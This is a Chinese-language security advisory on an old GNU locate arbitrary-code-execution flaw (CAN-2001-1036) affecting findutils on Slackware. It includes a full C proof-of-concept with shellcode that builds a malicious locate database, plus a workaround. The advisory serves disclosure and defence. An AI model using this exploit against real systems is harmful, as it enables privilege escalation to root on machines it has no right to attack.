首页 -> 安全研究

安全研究

安全漏洞
GNU locate 执行任意命令漏洞

发布日期:2001-08-01
更新日期:2001-08-05

受影响系统:

GNU findutils 4.1
   - Slackware Linux 8.0
   - Slackware Linux 7.1
GNU findutils 4.0
描述:

BUGTRAQ  ID: 3127
CVE(CAN) ID: CAN-2001-1036

在Slackware Linux中,如果用户可以获取nobody用户权限,他就可以编辑locate数据库。
通过构造一个特殊的数据库格式,当其他用户使用locate时,就可能执行攻击者预设的代码。

这是由于locate接受老的数据库格式。LOCATEDB_OLD_ESCAPE后面跟着一个偏移量,用来
表示后面会有多少字符被增加到当前的字符指针的地址之后。由于对此没有进行边界检查,
攻击者可能会改变程序执行流程,转去执行攻击者输入的任意代码。

如果攻击者能够获取nobody用户权限,他可能利用这个漏洞获得root权限。

<*来源:Josh Smith (josh@viper.falcon-networks.com) *>




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Josh Smith (josh@viper.falcon-networks.com)提供了下列测试代码:

#include <stdio.h>

char shellcode[] =
   "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
   "\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80"
   "\xe8\xe3\xff\xff\xff/tmp/xx";
char putshell[] =
   "\x14\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c"
   "\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96";

int main(void)
{
   int i;
   int z0=0; int addr=0x0804a970;
   int z1=0; int addr2=-626;
   int z2=0; int addr3=addr+6;
   printf("%s", &addr);
   printf("%s", &addr3);
   printf("%s",shellcode);
   fflush(stdout);
   for(i=46;i<256;i++) putchar('A');
   printf("%s", putshell);
   fflush(stdout);
   putchar(0);
   putchar(30);
   printf("%s", &addr2);
   printf("\x82\x83");
   fflush(stdout);
}


建议:

临时解决方法:

换用更安全的slocate。

厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.slackware.com/


浏览次数:3710
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障